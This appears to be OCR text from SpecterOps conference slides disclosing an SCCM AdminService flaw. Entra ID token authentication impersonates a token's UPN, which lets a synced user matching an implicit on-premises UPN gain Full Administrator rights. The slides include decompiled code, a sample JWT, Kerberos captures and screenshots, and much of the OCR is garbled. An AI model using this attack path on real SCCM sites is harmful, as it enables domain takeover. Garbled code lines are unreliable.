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Selected SCCM Timeline

SMS was renamed to System Center Configuration Manager (SCCM) SCCM was renamed to Microsoft Endpoint Configuration Manager (MECM)

T
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Azure VM that acts as
a proxy for clients
without physical or
VPN access
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Integrates with
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enable management
from both services
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Gateway
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nfigure Azure Servi

The wizard helps you deploy and configure Azure services through Configuration
Manager.

Select an Azure service and specify the name and description:

MName:

Descriptio

Cloud Management

Administration Service Management

Description:
Deploying the Azure service for Cloud Management enables Configuration Manager
clients to authenticate with the site using Microsoft Entra ID. You can alsec enable
discovery of Microsoft Entra ID resources for this tenant.

Cancel



Configure Azure Services

The wizard helps you deploy and configure Azure services through Configuration
Manager.
Select an Azure service and specify the name and description:

I IlSP=CT=R



MName: cm_servicel

Descriptic

® Cloud Management

oy

() Administration Service Management
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»7| Azure Services Wizard

nfigure Azure Servi

The wizard helps you deploy and configure Azure services through Configuration
Manager.

Select an Azure service and specify the name and description:

MName:

Descriptio

Cloud Management

Administration Service Management

Description:
Deploying the Azure service for Cloud Management enables Configuration Manager
clients to authenticate with the site using Microsoft Entra ID. You can alsec enable
discovery of Microsoft Entra ID resources for this tenant.

Cancel



Add an application that represents a web application, a web API, or both.

A native client is an application that can be installed on a user's device or computer.

Learn more about confiquring Azure services
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If there aren't users or devices associated with the tenant, you can prevent
clients frem making authentication requests by disabling it.

[ ] Disable Microsoft Entra ID authentication for this tenant
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i B dientapp - Microsoft Azure *x . webapp - Microsoft Azure
< (O (O https//portal.azure.com/#view/Microsoft_
Home > clientapp

- clientapp | APl permissions

Search

Overview

Quickstart
Granting tenant-wide consent may revoke permissions that have already been granted tenant-wide for that application. Permissions that users have already ¢
Integration assistant

Diagnose and solve problems
0 The "Admin consent required” column shows the default value for an organization. However, user consent can be customized per permission, user, or app. T|
Manage organizations where this app will be used. Learn more

== Branding & properties
= Aiiheahestiog Configured permissions

Applications are authorized to call APIs when they are granted permissions by users/admins as part of the consent process, The list of configured permis

11 c ! 5 arc . - - - - -
Certihcates & secrets all the permissions the application needs. Learn more about permissions and consent

Token configuration
Add a permission  ~ Grant admin consent for IT Support
APl permissions

APl / Permissions name Type Description Admin consent requ... Status
Expose an API

User.Read Delegated  Sign in and read user profile
ad Owners

. v webapp (1)
& Roles and administrators

; user_impersonation Delegated A er @ Granted
il Manifest

Support + Troubleshooting
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APl / Permissions name Description Admin consent requ... Status
v Microsoft Graph (1)
User.Read t Sign in and read user profile

webapp (1)

Q Granted

@SPECTER



im| | A dientapp - Microsoft Azure ¥ M webapp - Microsoft Azure X | 4

“— C» B https://portal.azure.com/#view/Microsoft_AAD_RegisteredApps/ApplicationMenuBlade/~/Manifest/appld : -b0d6-4d40-9114-310b

£ Search resources, services, and docs (G+/)

-

) Refresh ~j Got feedback?

Expand all headers

ﬂ Starting from as early as 3/17/2025, and no later than 3,/26/2025, you will no longer be able to view, save, upload, or download the Azure AD Graph app manifest on this pa)
migration guide to ensure a smooth migration.

Overview
Quickstart

Integration assistant An app manifest is 2 JSON representation of an app registration. The Microsoft Graph app manifest and AAD Graph app manifest below both represent the settings
formats. You only need to update one app manifest, and the system will automatically update the other one for them to match,
Diagnose and solve problems

Microsoft Graph App Manifest (New)  AAD Graph App Manifest (Deprecating Soon)

= Branding & properties See Understanding the Microsoft Graph application manifest to learn how to edit Microsoft Graph app manifest.

3) Authentication
B ¥ Download T Upload
Certificates & secrets

Token configuration "id": "9ab65ee2-54db-4d2c-93ae-1c52e5ded39e”,

"deletedDateTime": null,

"appld": "56e97c46-b8d6-4d4B-9114-318b56458f09",

"applicationTemplateId”: null,

"disabledByMicrosoftStatus"™: null,

"createdDateTime": "2025-16-14T22:39:56Z7",

"displayMName": "webapp”,

"description”: null,

"groupMembershipClaims": null,

"identifierUris": [
"api://5322ad36-c494-487a-bB8BT-fb655edBc6lc/56e97c46-bBd6-4d48-9114-318b56458fB9"

R N I

API permissions

Expose an AP

~ o wn

App roles

wogo

Owners

[y
[v]

Roles and administrators

=
(I

il Manifest

il

1

"isDeviceOnlyAuthSupported”: true,
"isFallbackPublicClient™: null,
"nativeAuthenticationApisEnabled”: null,
"notes": null,

"publisherDomain”: "duo-support.com”,
"serviceManagementReference”: null,
"signInAudience": "AzureADMyOrg",

u

Support + Troubleshooting

=
[0 I =}
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"disabledByMicrosoftStatus”: null,

“createdDateTime”: "2825-16-14T22:39:567

"displayName”: "webapp”,

"description”: null,

"groupMembershipClaims": null,

"identifierUris™: [
“"api://5322ad36-c494-487a-b8BT-fb655ed9ctlc/56e97cd6-bBd6-4d48-9114-318b56458FB5"

1,

"isDeviceOnlyAuthSupported”: true,
"isFallbackPublicClient™: null,
"nativeAuthenticationApisEnabled”: null,

@SPECTER



. oLo-
"displayName”: "webapp”,
"description”™: null,
"groupMembershipClaims": null,
"identifierUris™: |
“api://5322ad36-c494-487a-bB8BT-fb655ed9colc/56e07c46-bBd6-4d48-9114-318b56458FB5"

1,

"isDeviceOnlyAuthSupported”: true,
"isFallbackPublicClient™: null,
"nativeAuthenticationApisEnabled”: null,

= - : : . _
O ERUESTEY bips://scem-sitesrv.unsigned-shOrt.ngt/AdminService/ymi/

y-print

data.context”: "https://scom-sitesrv.unsigned-shé@rt.net/AdminService/wmi/$metadata™,
1 lue™: [
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What is the administration service in
Configuration Manager?

11/07/2023

Applies to: Configuration Manager (current branch)

The SMS Provider provides API interoperability access over HTTPS, called the administration service. The administration
service is a representational state transfer (REST) APl based on the Open Data (OData) v4 protocol.

@SPECTEROPS



serviostied rilstring. . Fersat ([ {IFarsetProviter) Celturelafte. InaariamCulitere, “(0 /7000200 ",
tebject) “Bttps™,
(ehject) sachiseiom,
(obiessi a8
(ebjegt) “AaminService™));
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) AT ek lod)
serviosirl - e Briistring . Forsat [{ DFarmantPravider) CGelturelafo.InariantCaltore, “(0):/ /00 M20 L /",
(bjest) "Mitm"™,
tebiect) machionfatn,
(e ject) &4,
(obiject) "“Adwinfervica_TehasAsth") )
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r

private vaid Processhegeest (FOvinastent context) _
¢

AF fcantext »= mull)

hoew e ArguseaiNe | LEsceptioninaees! (contaxt));
string respossastrisg = string.Depty;
string respossaType = “wpplicetion/json; odets,setsdetsssdninsl™;
iy
{
Vindousldentity idmmtity » (Windowaldestity) »'l;
iy
{
A0 rends andBnabled )
{

At [opetext Get<bosd»{ *“IsRequests ranScpiot 1f ication™) )
{

Mestity = contant . Get-Boel>"hadl @Serv M ologeas 1sRaat '} 7 contont Cat-Mindowsident (ty-{" Reallamtiny™) « Wiadow
it (context.Getdeol>{"Shou L dServicofnscs st sResa th™ ] )
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private vald Protes Mageest (FOvintostest comtoxt)
{

LF fcenmtext »= mull)
hoew e ArguseaiNe | LEsceptioninaees! (contaxt));
string respossastrisg = string.Oepty;
string respossaType = “mpplicetion/json; odets,setadetsssdininsl™;

iy
{
Wisdousldwtity ideatity = (Mindovaldustity) weil; _
iy
(
A0 frends.andBnabled)
{
1t [opetext Get<bosd>{ “IsRequests ranScpiot 1f ication*) )
{

Mestity = contant . Get-Boel>"hadl @Serv M ologeas 1sRaat '} 7 contont Cat-Mindowsident (ty-{" Reallamtiny™) « Wiadow
it (context.Getdeol>{"Shou L dServicofnscs st sResa th™ ] )
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Learn / .NET / API browser / D Ask Learn ‘ 60 Fc

Windowsldentity Class

Definition

Namespace: System.Security.Principal

Assembly: System.Security.Principal.Windows.dl

Represents a Windows user.

C#

public class WindowsIdentity : System.Security.Claims.ClaimsIdentity, IDisposal
System.Runtime.Serialization.IDeserializationCallback,
System.Runtime.Serialization.ISerializable
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private vald Protes Mageest (FOvintostest comtoxt)
{

LF fcenmtext »= mull)
hoew e ArguseaiNe | LEsceptioninaees! (contaxt));
string respossastrisg = string.Oepty;
string respossaType = “mpplicetion/json; odets,setadetsssdininsl™;
iy
{
Vindousldentity idemtity » Windowvaldestity) =i l;
iy
{

{F {reis. sadEnabled) _
{

At [opetext Get<bosd»{ *“IsRequests ranScpiot 1f ication™) )
{

Mestity = contant . Get-Boel>"hadl @Serv M ologeas 1sRaat '} 7 contont Cat-Mindowsident (ty-{" Reallamtiny™) « Wiadow
it (context.Getdeol>{"Shou L dServicofnscs st sResa th™ ] )
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}

AT b BearerToken;
iy

{

BedrerToRen « cantext,Rogeest. Get-1DDjectiepasitary'~{ "08 jecthcptd Lrory" ) . FarselcarerTaben| header) ;
}
cateh (SecurityToken¥elidet ionlxonption ax)
(

rastrewe Recacracs Statuclade o Sl



TL;DR
Validates token signature
Validates token issuer/audience



public static void GetAuthenticationInfol(
IDbConnection dbConnection,
TokenAuthority authority,

out List<string> issuer,

out List<string> audience,

out List<string> stsMetaData,
out List<string> stsSigningCert,
int servicelype = 3)

Guard.AssertIsNotNull((object) dbConnection, nameof (dbConnection));
Guard.AssertIsTrue(dbConnection.State == 1, errorMsg: "DB connection is not in open state");
issuer = new List<string>();

audience = new List<string>();

stsMetaData = new List<string>(Q);

stsSigningCert = new List<string>();

using (IDbCommand command = dbConnection.CreateCommand())

p

command.CommandText "spGetTokenValidationInfo";

command.CommandType = (CommandType) 4;

((IList) command.Parameters).Add((object) new SqlParameter("@TokenAuthority", (object) (int) authority));
((IList) command.Parameters).Add((object) new SqlParameter("@ServiceType", (object) serviceType));

—usiny(IDataReader Teauer = COomaiy: EXECU LEREGUer () )
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stsSigningCert = new List<string>();

using (IDbCommand command = dbConnection.CreateCommand())
p

command.CommandText = "spGetTokenValidationInfo";
command.CommandType = (CommandType) 4;

((IList) command.Parameters).Add((object) new SglParameter("@TokenAuthority", (object) (int) authority));

((IList) command.Parameters).Add((object) new SqlParameter("@ServiceType", (object) serviceType));
—Ustmy(IDataReader reader = Comany: EXECU LEREaUer Ty )
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stsSigningCert = new List<string>();

using (IDbCommand command = dbConnection.CreateCommand())

{
command.CommandText = "spGetTokenValidationInfo";
command.CommandType = (CommandType) 4;
((IList) command.Parameters).Add((object) new SqlParameter("@TokenAuthority", (object) (int) authority));
((IList) command.Parameters).Add((object) new SqlParameter("@ServiceType", (object) serviceType));
oS Img(IDataReauer reader = Conand. EXeCU LeEReauer <))
ULUUETYZ. Sl ASRmR-pRES BLA) S T T T o . A S

exec spgettokenvalidationinfo N'G', N'3'

100% ~| @ MNoissues found

Ln: 1
B Resuts g3 Messages

| Audience ’ S5TS5MetaData ’ STS5igningCert ’

| api.//5322ad36c434-437a-b8FfbE2oedScb1c/ 5657 ... |

<%ml version="1.0" encoding="utf-8" 7><EntityDes... \ ]
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| Audence ‘ STSM
api-//5322ad36 c494-4872b8lF fb655ed b 1c/56e97... |

[ Resuts |mY Messages

"eyJ0eXAi0iJKV1QiLCJhbGci0iJSUzIINiIsIngldCI6In1FVXdtWFAMMTA3Q2MtN1FaM1ldTYmVPY jNzUSIsImtpZCI6In1FVXdtWFAMMTA3Q2MtN1FaMldTYmVPYjNzUSJ9.
eyJhdWQi0iJhcGk6Ly81MzIyYWQzNiljNDKOLTQAN2EtYjgwZilmYjYINWVKOWM2MWMVNTZ10TdjNDYtYjBkNi@@ZDQWLTKXMTQtMzEwYjU2NDU4ZjA5TIiwiaXNzIjoiaHROCHM6LY9zdHMud21uZG93cy5uZXQ
MGYtZmI2NTV1ZD1jNjFjLyIsImlhdCI6MTCc2MTA4MzM2NCwibmImI joxNzYxMDgzMzYOLCJ1leHAiOjE3N]jEwODg5MDcsImFjciI6IjEiLCIhaW8i0iJBVVFBAS84YUFBQUFYN@crZ3pDS1dCT1Z2al1VkKzh@VHB
cmhQSVNKQUs2d@M5Z3NrYzZsQoxMY2xQTEXUdE9vOUYwdXhraD IWK@Z5UT@9I iwiYW1yIjpbInB3ZCIdLCIhcHBpZCI6IMU2ZmZiM2RiLTBKMWYtNDViMSO5MWRiLTdjZGQOM]jIhMjh INyIsImFwcGlKYWNyIjo
ciIsImdpdmVuX25hbWUi0iJEb21haW4ilLCIpcGFKZHIi0iIxNzQuMTcOLjcuMjA2IiwibmFtZSI6ImRvbWFpbnVzZXIilCJvaWQiO0iJmMjJIkN]jYOMy1IMDNILTQwYjQtYjg2My@INmR1ZGIhNmM2Y2QilLCIvbnB
MjgxNzIzMCOOM]jc1MjAzMDMOLTEWMjUONTK20DItMTEWNCISInJoIjoiMS5BVmtBTnEwaVU1VEV1a2k@RFOObFhObkdIRVo4N1ZiV3NFQk5rU1F4QzFaRmp3bWRBSHRaQUEUIiwic2NwIjoidXN1lc19pbXBlcnN
YjktZTczZSO2NTViLTBmYTgtNDgWNTI2MzY5ZTZkIiwic3Viljoiay1@MKFGUT L1bGNXZEXHRXMwb@XNR2R4SmhYdL1STG1VMXhIN11lydE@@QSIsInRpZCI6IjUzM]jIhZDM2LWMOOTQtNDg3YS1i0DBmLWZiNjU
I1joiZG9tYWludXN1lckB1bnNpZ251ZC1zaDBydC5uZXQilCJ1cG4i0iJkb21haW51c2VyQHVuc2 lnbmVKLXNOMHIOLmM51dCIsInV@aSI6ImIzcHL2dELIQkU2dTQ4NnY1lamdfQUEILCI2ZXIi0iIxLjAiLCI4bXN
YO1Rem44NThwLTh2aERQNFpIMEtKQTEtQOptb@IKWES6Y jNWMGFDMWt jMjF6In0.
rHOGhHZOOMY1gmi_4paaCWzZ50zYqK4AmtdFqf8AAdfbcrCR6bdSOw7N5Uq9sYrPzUF2SjzssvePVL5RYy03Tt95_QHT9cjoZy@mPjexPaRFYNiAMvYMI6uFi4u4sB4DjKe9VW6vCMVikbkq8_ rIj3xF9z9]fh3S
WUp@dBauBgXoTrphcHaVHT9hki-hqW-pCP-sQbHanE1pEON70Qudejc4mAaSBuOL9ugxqhrPMftdxbC9dt9n34m3jDoluHzFgJIB3xb@-3hrDv5WBxvHIeglvlogc8a7C3kXma6LMFTelsro7G4FWuB5zgbg"
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[l Results m3 Messages

| lssuer | Budience ‘ STSM

| https://sts windows net/5322ad 36-c494-487a-b 30f- .. api://b322ad 36c454-487ab BFfb6Ebed9cb1c/B6e57... | <Fuml

| -
S R e e B e e e e S e e e ., -

"aud": "api://5322ad36-c494-487a-b80f-fb655ed9c61c/56€97c46-b0d6-4d40-9114-310b56458109",
"iss": "https://sts.windows.net/5322ad36-c494-487a-b80f-fb655ed9c61c/",

"iat": 1761083364,

"nbf": 1761083364,

"exp": 1761088907,

| | I | 11
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}
AT ohan BearerTokem;
ey
{
BedrerToRes « cantext.Rogeest. Get-10D jectinpas itary | 08 jectheptd Lrory" ) . FarselicarerTabes | header) ;
}
cateh (SecurityToken¥elidet ionloception ax)
(

rastrewe Recacracs Statuclade o Sl



cmeoay o et R o e e E— e W v  e— mm—a® b o [——

Mestity & sovw WOMTSeatity (DesrerTaben . UterPrincipsifeee) |
}
CALer (Ut her LoadAL Caialecaption ox)
{
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o o et R o e E— W w e  w— m— S o —

Sdestity + sow WIAdovaTdeat ity (DesrorTaben . UterPrinc Lpa iNese ) |
}

Caloh [UsbySher LoefAL ol ecaption ax)

{

"sub": "k-t2AFQ9ulcqdLGEs@oLMGdxJhXvYRLmU1xH6YrtM4A",
"tid": "5322ad36-c494-487a-b80f-fb655ed9c61c",

"unique— e - t.net",
"upn": |"domainuser@unsigned-sh@rt.net",
Ilutill : 11 . — II'

llverll : Ill.all'
"xms_ftd": "rYpH6P2Tv1AwBiVcMQzn858p—-8vhDP4Zu@KJA1-CImoBdXNzb3V@aClkc21z"
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Windowsldentity(String)

Y o ey v o) e e s s clame by e gy oxy e om fed
User Pacipw! Moawe 17N

- 0 G
R e L L L g uTin

Parameters



Uiy !

"sub":
ridls

",

‘unique_name":

i (o] g b

Vi A

Ner: .
"xms_ftd":

@SPECTEROPS
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The AdminService impersonates
validated token

UPN from a



brcc Properties ? X

Member Of
Environment
Address Account

Published Certificates Dialin

Security

Password Replication Object

Sessions Remote control

General Profile Telephones  Organization

I@SPECTER

Remote Desktop Services Profile

Attributes:
Attribute
objectGUID
objectSid
primaryGroup|D
pwdLastSet
replPropertyMetaData
sAMAccountName
sAMAccount Type
userAccountControl
userPrincipalName
uSNChanged
uSNCreated
whenChanged
whenCreated

COM+

Value

2de60850-20c0-4c23-35a1-0c2141f12cch
S-1-5-21-1655157935-1649372512-2222376
513 =(GROUP_RID_USERS )
11/14/2025 4:54:58 PM Eastem Standard T
AttID Ver Loc.USN Org.DSA
brcc

805306368 = ( NORMAL_USER_ACCOUNT
0x10200 = ( NORMAL_ACCOUNT | DONT_I
brec@unsigned-shOrt net

23103

23098

11/14/2025 4:54:58 PM Eastem Standard T
11/14/2025 4:54:58 PM Eastem Standard T

Cancel

Attribute Editor




Overview Monitoring Properties

Basic info

brcc
brcc@unsigned-shOrt.net
Member

User principal name
Object ID

Created date time Nov 14, 2025, 4:57 PM
User type Member

Identities

Agent ID

@SPECTER

32a85cb3-78ff-41de-3087-15

brcc@unsigned-shOrt.net [

29d8300269

2 brec Properties

Published Certificates

General Address

Remote Desktop Services Profile COM+

Attributes:
Attribute

objectGUID
objectSid
primaryGroup|D
pwdLastSet
replPropertyMetaData
sAMAccountName
sAMAccount Type
userAccountControl
userPrincipalName
uSNChanged
uSNCreated
whenChanged
whenCreated

<

Member Of Password Replication Dialin  Object
Security Environment Sessions

Remote control

Account Profile Telephones  Organization

Attribute Editor

Value

2de608590-20c0-4c23-35a1-0c2141f12cch
S-1-5-21-1655157935-1649372912-2222376
513 = (GROUP_RID_USERS)

11/14/2025 4:54:58 PM Eastem Standard T
AttlID Ver Loc.USN Org.DSA
brcc

805306368 = ( NORMAL_USER_ACCOUNT
0x10200 = ( NORMAL_ACCOUNT | DONT_I
brec@unsigned-shOrt net

23103

23098

11/14/2025 4:54:58 PM Eastem Standard T
11/14/2025 4:54:58 PM Eastem Standard T

>

Cancel




userPrincipalName brec@unsigned-sh(rt .net

-

User principal name brcc@unsigned-shOrt.net 4 )

—————




demo @ | unsigned-shOrt.net
User pnincipal name alre
Domain not listed? Learn more 2

exists in this directory

Active Directory Domain Services

The user logon name you have chosen is already in use in this
enterprise.
Choose another logon name, and then try again.

e Passworc

@SPECTER



Windows Security

Enter your credentials

These credentials will be used to connect to sccm-sql.

domainadmin@unsigned-shO0rt.net

Domain:

D Remember me

@SPECTER‘ S









ﬂi:ﬁ SP=CT=R

v

5779 90.396297 10.6.10.13 10.6.10.10 KRB5 322 AS-REQ

Frame 5779: Packet, 322 bytes on wire (2576 bits), 322 bytes captured (2576 bits) on interface \Devicg
Ethernet II, Src: ProxmoxServe_a9:35:b3 (bc:24:11:a9:35:b3), Dst: ProxmoxServe_2a:b9:5a (bc:24:11:2a:H
Internet Protocol Version 4, Src: 10.6.10.13, Dst: 10.6.10.10
Transmission Control Protocol, Src Port: 61832, Dst Port: 88, Seq: 1, Ack: 1, Len: 268
Kerberos
Record Mark: 264 bytes
Vv as-req
pvno: 5
msg-type: krb-as-req (10)
padata: 1 item
Vv req-body
Padding: @
kdc-options: 40816010
cname
name-type: kRBS-NT-ENTERPRISE-PRINCIPAL (1@)
Vv cname-string: 1 item
CNameString: domainadmin@unsigned-sh@rt.net
realm: UNSIGNED-SH@RT.NET
sname
till: Sep 12, 2037 22:48:05.000000000 Eastern Daylight Time
rtime: Sep 12, 2037 22:48:05.000000000 Eastern Daylight Time
nonce: 1569858485
etype: 6 items
addresses: 1 item SCCM-SQL<20>

Response in: 5780




CLIEN

Vv Cchame
name-type: KRBS5-NT-ENTERPRISE-PRINCIPAL (19)

vV cname-string:

NTD




DOMAINADMIN@
NSIGNEDSHORT.N

KD
BEn
B

AS-REQ W/
PREAUTH

CLIEN
—



DOMAINADMIN@
NSIGNEDSHORT.N
?
$EP, HERE’S KEYS

y
E

KD
BEn
B

AS-REQ W/
PREAUTH

CLIEN
—



brcc Properties ? X

Published Certificates Member Of Password Replication Dialin  Object
Security Environment Sessions Remote control
General Address  Account Profile Telephones  Organization

@SPECTER

UPN

Mapping

Remote Desktop Services Profile COM+ Attribute Editor

Attributes:

Attribute
objectGUID
objectSid
primaryGroup|D
pwdLastSet
replPropertyMetaData
sAMAccountName
sAMAccount Type
userAccountControl
userPrincipalName
uSNChanged
uSNCreated
whenChanged
whenCreated

Value

2de608590-20c0-4c23-35a1-0c2141f12cch
S-1-5-21-1655157935-1649372912-2222376
513 =(GROUP_RID_USERS )

11/14/2025 4:54:58 PM Eastem Standard T
AttID Ver Loc.USN Org.DSA
brcc

805306368 = ( NORMAL_USER_ACCOUNT
0x10200 = ( NORMAL_ACCOUNT | DONT_I
brec@unsigned-sh(rt .net

23103

23098

11/14/2025 4:54:58 PM Eastem Standard T
11/14/2025 4:54:58 PM Eastem Standard T

Cancel




@SPECTER

example Properties

zeneral Operating System
LAPS Location Managed By  Object  Securty Diial4n

Attributes:
Attribute
unixserPassword
ur
userAccountControl
userCert
user_ertificate
userParameters
userPassword
userPKCS512
userPrincipal Mame
userSharedFolder
usersharedFolderCther
userSMIMECertificate
userWWorkstations

uSMChanged
<

X

Member Of Delegation Password Replication

20 = PASSWD_MNOTREQD | WORKS
<not set

<not set

<not set

<not set

<not set

<not set

<not set

<not set

<not set’

<not set

45509

Attribute Editor




example Properties ? X

zeneral Operating System Member Of Delegation Password Replication
LAPS Location  Managed By  Object  Securty  Dialin  Attribute Editor

Attributes:
Attribute Walue
unixserPassword <not sets
ur <not et
userAccountControl (1020 = ( PASSWD_NOTREQD | WORKS'
userCert <not set:
user_ertificate <not et
I userParameters <not set
A U P N Ca n be O r userPassword <not sets
userPKCS512 <not set:
p userPrincipal Mame <nat sets
d efl n ed " userSharedFolder <not set
userSharedFolderCther  <not set>
usersMIMECerdificate  <not set:

userWorkstations <nat sets

uSMChanged 45509
<

[SP=CT=R
https://learn.microsoft.com/en-us/windows/win32/secauthn/user-name-formats#user-principal-name



1
Learn / Ask Learn 60 Focus mode

3.3.5.2 User Account Objects Without UPN
08/11/2025
If the user account object does not have the userPrincipalName attribute ([MS-ADA3] section 2.349) set, the KDC

¢« SHOULD<46> send a UPN_DNS_INFO structure ([MS-PAC] section 2.10) containing a user principal name (UPN),
constructed by concatenating the user name, the "@" symbol, and the DNS name of the domain.

@ SP=CT=RO?PS
https.//learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/8969b79e-433c-47ed-b51d-65680cdf450e



example Properties ? X

zeneral Operating System Member Of Delegation Password Replication
LAPS Location  Managed By  Object  Securty  Dialin  Attribute Editor

Attributes:
Attribute Walue
unixserPassword <not sets
ur <not et
userAccountControl (1020 = ( PASSWD_NOTREQD | WORKS'
userCert <not set:
user_ertificate <not et
userParameters <not set’
userPassword <not sets
u -
example + @ + unsignhed-shOrt.net |l
userPrincipal Mame <nat sets

userSharedFolder <not sets
userSharedFolderCther  <not set>
usersMIMECerdificate  <not set:
userWWorkstations <not set:

uSMChanged 45509
<

[SPECT=R



DOMAINADMIN@
NSIGNEDSHORT.N

KD
BEn
B

AS-REQ W/
PREAUTH

CLIEN
—



DOMAINADMIN@
NSIGNEDSHORT.N

KD
BEn
B

AS-REQ W/
PREAUTH

CLIEN
—



DOMAINADMIN@

KD
BEn
B

AS-REQ W/
PREAUTH

CLIEN
—

UNSIGNEDSHORT.N

EEWH O?



DOMAINADMIN@

KD
BEn
B

AS-REQ W/
PREAUTH

CLIEN
—

UNSIGNEDSHORT.N

EEWH O?



CLIEN
—

AS-REQ W/
PREAUTH

g
&

KD NTD

({1

DOMAINADMIN@
UNSIGNEDSHORT.N

B VHO?
DOMAINADMIN?
'NOPE
DOMAINADMINS?



CLIEN
—

AS-REQ W/
PREAUTH

KD

g
&

DOMAINADMIN@

UNSIGNEDSHORT.N

B VHO?
DOMAINADMIN?
'NOPE
DOMAINADMINS?

'YEP, HERE’S KEYS

NTD

({1




CLIEN
—

AS-REQ W/
PREAUTH

AS-REP W/ TGT

KD

g
&

DOMAINADMIN@

UNSIGNEDSHORT.N

B VHO?
DOMAINADMIN?
'NOPE
DOMAINADMINS?

'YEP, HERE’S KEYS

NTD

({1




example Properties ? X

zeneral Operating System Member Of Delegation Password Replication
LAPS Location  Managed By  Object  Securty  Dialin  Attribute Editor

Attributes:
Attribute Walue

“A UPN can be Or  [EE———

userAccountContral (1020 = ( PASSWD_NOTREQD | WORKS

- ser_ert <not set
defined...An o e

<not set>

N " . . userParameters <nat sets
I m p I I Clt U P N IS userPassword <not sets
userPKCS512 <not set:

- - | rPrincipal Name <not et
associated with the user's e ¢
userSharedFolderCther  <not set>

aCCOunt, even |f an eXpllClt userSMIMECertficate  <not set>

userWorkstations <nat sets

U P N iS n Ot d efi n ed . 7 :lSI"-JChanued 45509

I@I SP=CT=R
https://learn.microsoft.com/en-us/windows/win32/secauthn/user-name-formats#user-principal-name



example Properties ? X

zeneral Operating System Member Of Delegation Password Replication
LAPS Location  Managed By  Object  Securty  Dialin  Attribute Editor

Attributes:
Attribute Walue

“A UPN can be Or  [EE———

userAccountContral (1020 = ( PASSWD_NOTREQD | WORKS

- ser_ert <not set
defined...An o e

<not set>

N " . . userParameters <nat sets
I m p I I Clt U P N IS userPassword <not sets
userPKCS512 <not set:

- - | rPrincipal Name <not et
associated with the user's e ¢
userSharedFolderCther  <not set>

aCCOunt, even |f an eXpllClt userSMIMECertficate  <not set>

userWorkstations <nat sets

U P N iS n Ot d efi n ed . 7 :lSI"-JChanued 45509

I@I SP=CT=R
https://learn.microsoft.com/en-us/windows/win32/secauthn/user-name-formats#user-principal-name



n| example Properties

- “ _ Password Replication
C:\Users\demo2>whoami /user && whoami /upn o e Bl

USER INFORMATION

e] i 1-2342817238-4275203834-1625459682-1163
emo2@notmydomainname . com

IWC:\Users\demahklist tet

aSS(Cur‘r‘ent LogonId is @:8x7fdd42e1

aCCC Cached TGT:

L ServiceName

demn

lintName -
‘ : UNSIGMNED-SHORT.NET

| arocetomalntame 2 k M ELY - SHER i
AltTargetDomainName: UNSIGNED-SHORT.MNET
Tarlat+s CTAame s G AGA GRR0 R e I S [

@SPECTEROPS ] | ] v
https://learn.microsoft.com/en-us/windows/win32/secauthn/user-name-formats#user-principal-name



takeover



For the vulnerability, this means the exploitation requires a specific and uncommon condition: an Active
Directory user account must exist with a matching user principal name (UPN) that was not properly
synchronized to Microsoft Entra ID.

@SPECTEROPS
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SCCM-SITESRY Properties f X

General Operating System Member Cf Delegation Password Replication
Location  Managed By Object  Securty  Dialin  Aftribute Editor

Attribute Value

ur <not sets

userAccountControl (1000 = { WORKSTATION_TRUST_ACCC
userCert <nat set

userCertificate <not set:

userParameters <not set>

userPassword <not sets

userSharedFolderCther  <not sets
userSMIMECerificate  <not set>
userWorkstations <not set:
uSMNChanged 112138

uSMCreated 13114
£

Cancel

[SPECT=R



SCCM-SITESRY Properties ! x

General Operating System Member Cf Delegation Password Replication
Location  Managed By Object  Securty  Dialin  Aftribute Editor

Attribute Value
ur <not sets
userAccountControl (1000 = { WORKSTATION_TRUST_ACCC

user_ert <not sets
userCerfficate ¢not sets U P N
userParameters <not set:

userPassword <not sets

userPKCS12 <not set:

userPrincipalName <not set 't $ @ 1 d h 0 t t
usersharedFolder <not set> s cc m -s I es rv u n s I g n e -S r B n e
userSharedFolderCther  <not sets

userSMIMECertificate  <not set>

useriWorkstations <not sets

uSMNChanged 112138

uSMCreated 13114
£

Cancel

@SPECTER



Exploitation requires rights to control a
synchronized user account



Exploitation requires rights to control a
synchronized user account

0 Registry Editor
File Edit View Favorites Help
‘Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CCM\AADConfigs

Lo AD Al Data

(value not set)
ALG
AllUserlnstallAgel
AMSI

Analog

https://login.microsoftonline.com/

Iy - 7
4! h QmSe R a ar- s

ab| ClientAppld

AppServiceProtoc
A ab|| astUsedClientA...
ppV

ASP.NET ab)| astUsedResour...
Assistance | ab|LastUsedTenantld
AuthHost

BestPractices ab|ResourceUri
BidInterface :

BitLockerCsp ‘ nantNan

M || 28| TenantsXML

AADConfigs |38 UserAuthReady  REG_DWORD 0x00000001 (1)
BgbAgent

CAS

CCA

CcmConditior

@SPECTER



Micros ation Manager (Connected to 1 rimary Site - sccm-sitesrv.un d-shOrt.n: Evaluation 0 days left —
s K~
v Home IS 14 K
¥ Refresh
~ /S Delete o
Saved Show Status Properties
Searches ~ Messages
Search Administrative User Properties

© Site version is past the end of support

€ -2\ tation » Over -2
Administration *
4 ew Search Add Criteria ¥
-
Updates and Servicing on A £ ount Display ecurity Roles
’ Hierarchy Configuration ] unsigned-st Full Administrato
4 Cloud Services
4
(& Servers and Site System Roles
I Client Settings
. unty *
. Administrative Users
Ac
o Certificates
’ nsights
unsigned-shOrt\domainadmin
Account Summary
" Assets and Compliance
ccount Name: unsigned-shOrt\domainadmin All
Software Library Account Display Name
Date Created 11/10/2025
. Monitoring Created By unsigned-s
Date Modified 11/10/2025 2
Administration Modified unsigned-shOrt\domainadmin
’D Community
Security Roles
“Eull Adoinictzata “All Suctacc® “Allllcacs and Lcac Geoun

12:25 AM
L Type here to search =] ™ m B h > .

A B 9% 41057005




Microsc onfiguration Manager (Connected to 123, Primary Site - m-sitesrv.unsigned-shOrt.net) (E 0 days left e Pe

@
5

3
“AS A
Home A~ Q4 B~
- 4 Refresh
W z /< Delete v
Add User Saved Show Status Properties
Group Searches ~ Messages
Create Search Administrative User Properties
te the end of support pgrade your sit n
v |2 » Administ » Over v 2
Administration <
Search Add Criteria v
jates and Servicing Ac
Hierarchy Configuration
Cloud Services
Cloud Di
Cloud Manage
Configuration
138 Site
Servers and Site System R
lient Settings
:“ Administrative Users:
& Console Connections
Points
int Groups
Migration
Management Insights
unsigned-shOrt\domainadmin
Account Summary Security Scopes
Assets and Compliance
unsigned-shOrt\domainadmin "All
Software Library
11/10/2025 2:03 PM
Monitoring unsigned-shOrt\domainadmin
11/10/2025 2:03 PM
Administration unsigned omainadmin
Community
Collections
*Eull Adminicteatar “All Suctame® “Allllcace and Lcac Gea

== 12:25 AM
LR Type here to search (=1 o m B h > . AT o
